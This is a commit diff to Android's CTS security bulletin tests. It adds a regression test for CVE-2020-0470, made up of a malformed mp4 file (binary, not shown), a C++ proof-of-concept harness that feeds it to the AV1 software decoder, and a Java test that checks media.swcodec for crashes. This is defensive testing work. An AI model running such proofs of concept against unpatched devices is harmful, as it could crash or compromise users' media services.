[RESTRICT AUTOMERGE] CTS test for Android security b/166268541

Bug: 166268541
Bug: 170661600
Test: Ran the new testcase on android-10.0.0_r2 with/without patch

Change-Id: I535d72f369d76c9655c81b4d9bca486fc36f53b5
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0470.mp4 b/hostsidetests/securitybulletin/res/cve_2020_0470.mp4
new file mode 100644
index 0000000..d77b2f3
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0470.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/Android.bp
new file mode 100644
index 0000000..1876c60
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/Android.bp
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2020-0470",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    multilib: {
+        lib32: {
+            suffix: "32",
+        },
+        lib64: {
+            shared_libs: [
+                "libmediandk",
+            ],
+            suffix: "64",
+        },
+    },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/poc.cpp
new file mode 100644
index 0000000..8317ca5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/poc.cpp
@@ -0,0 +1,131 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+#include <media/NdkMediaCodec.h>
+
+#define DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS 1000
+#define TOTAL_TIMEOUT_MICROSECONDS (300 * 1000 * 1000)
+#define FILE_SIZE 72
+#define VIDEO_MAX_WIDTH 176
+#define VIDEO_MAX_HEIGHT 144
+#endif /* _64_BIT */
+
+int main(int argc, char *argv[]) {
+    (void)argc;
+    (void)argv;
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+    if (argc != 2) {
+        return EXIT_FAILURE;
+    }
+
+    FILE *inFile = fopen(argv[1], "rb");
+    if (!inFile) {
+        return EXIT_FAILURE;
+    }
+    AMediaCodec *codec;
+    media_status_t status;
+    int64_t inActiveTime = 0ll;
+    bool isEncoder = false;
+
+    codec = AMediaCodec_createCodecByName("c2.android.av1.decoder");
+    if (!codec) {
+        fclose(inFile);
+        return EXIT_FAILURE;
+    }
+    /* Set Format */
+    AMediaFormat *format = AMediaFormat_new();
+    if (!format) {
+        fclose(inFile);
+        AMediaCodec_delete(codec);
+        return EXIT_FAILURE;
+    }
+    AMediaFormat_setString(format, AMEDIAFORMAT_KEY_MIME, "video/av01");
+    AMediaFormat_setInt32(format, AMEDIAFORMAT_KEY_MAX_INPUT_SIZE, FILE_SIZE);
+    AMediaFormat_setInt32(format, AMEDIAFORMAT_KEY_WIDTH, VIDEO_MAX_WIDTH);
+    AMediaFormat_setInt32(format, AMEDIAFORMAT_KEY_HEIGHT, VIDEO_MAX_HEIGHT);
+    AMediaCodec_configure(codec, format, nullptr, nullptr, isEncoder);
+    AMediaCodec_start(codec);
+
+    size_t filePos = 0;
+    bool inputEOS = false;
+    while (inActiveTime < TOTAL_TIMEOUT_MICROSECONDS) {
+        /* Queue input data */
+        if (!inputEOS) {
+            uint32_t bufferFlags = 0;
+            ssize_t inIdx =
+                AMediaCodec_dequeueInputBuffer(codec, DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS);
+            if (inIdx >= 0) {
+                ssize_t bytesRead = 0;
+                size_t bufSize;
+                uint8_t *buf = AMediaCodec_getInputBuffer(codec, inIdx, &bufSize);
+                if (filePos < FILE_SIZE) {
+                    bytesRead = fread(buf, 1, FILE_SIZE, inFile);
+                    filePos += FILE_SIZE;
+                    fseek(inFile, filePos, SEEK_SET);
+                }
+                if (bytesRead <= 0) {
+                    bytesRead = 0;
+                    inputEOS = true;
+                    bufferFlags |= AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM;
+                }
+                status = AMediaCodec_queueInputBuffer(codec, inIdx, 0, bytesRead, 0, bufferFlags);
+                if (status != AMEDIA_OK) {
+                    break;
+                }
+                inActiveTime = 0;
+            } else if (inIdx == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
+                inActiveTime += DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS;
+            } else {
+                break;
+            }
+        }
+        /* Dequeue output */
+        AMediaCodecBufferInfo info;
+        ssize_t outIdx =
+            AMediaCodec_dequeueOutputBuffer(codec, &info, DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS);
+        if (outIdx == AMEDIACODEC_INFO_OUTPUT_FORMAT_CHANGED ||
+            outIdx == AMEDIACODEC_INFO_OUTPUT_BUFFERS_CHANGED) {
+            inActiveTime = 0;
+        } else if (outIdx >= 0) {
+            status = AMediaCodec_releaseOutputBuffer(codec, outIdx, false);
+            if (status != AMEDIA_OK) {
+                break;
+            }
+            if (info.flags & AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM) {
+                break;
+            }
+            inActiveTime = 0;
+        } else if (outIdx == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
+            inActiveTime += DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS;
+        } else {
+            break;
+        }
+    }
+    AMediaFormat_delete(format);
+    AMediaCodec_stop(codec);
+    AMediaCodec_delete(codec);
+    fclose(inFile);
+#endif /* _64_BIT */
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index 56ec8af..640a02b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -518,6 +518,20 @@
      ******************************************************************************/
 
     /**
+     * b/166268541
+     * Vulnerability Behaviour: SIGSEGV in media.swcodec
+     */
+    @SecurityTest(minPatchLevel = "2020-12")
+    @Test
+    public void testPocCVE_2020_0470() throws Exception {
+        String inputFiles[] = {"cve_2020_0470.mp4"};
+        String processPatternStrings[] = {"media\\.swcodec"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0470",
+                AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice(),
+                processPatternStrings);
+    }
+
+    /**
      * b/120426980
      * Vulnerability Behaviour: SIGABRT in self
      */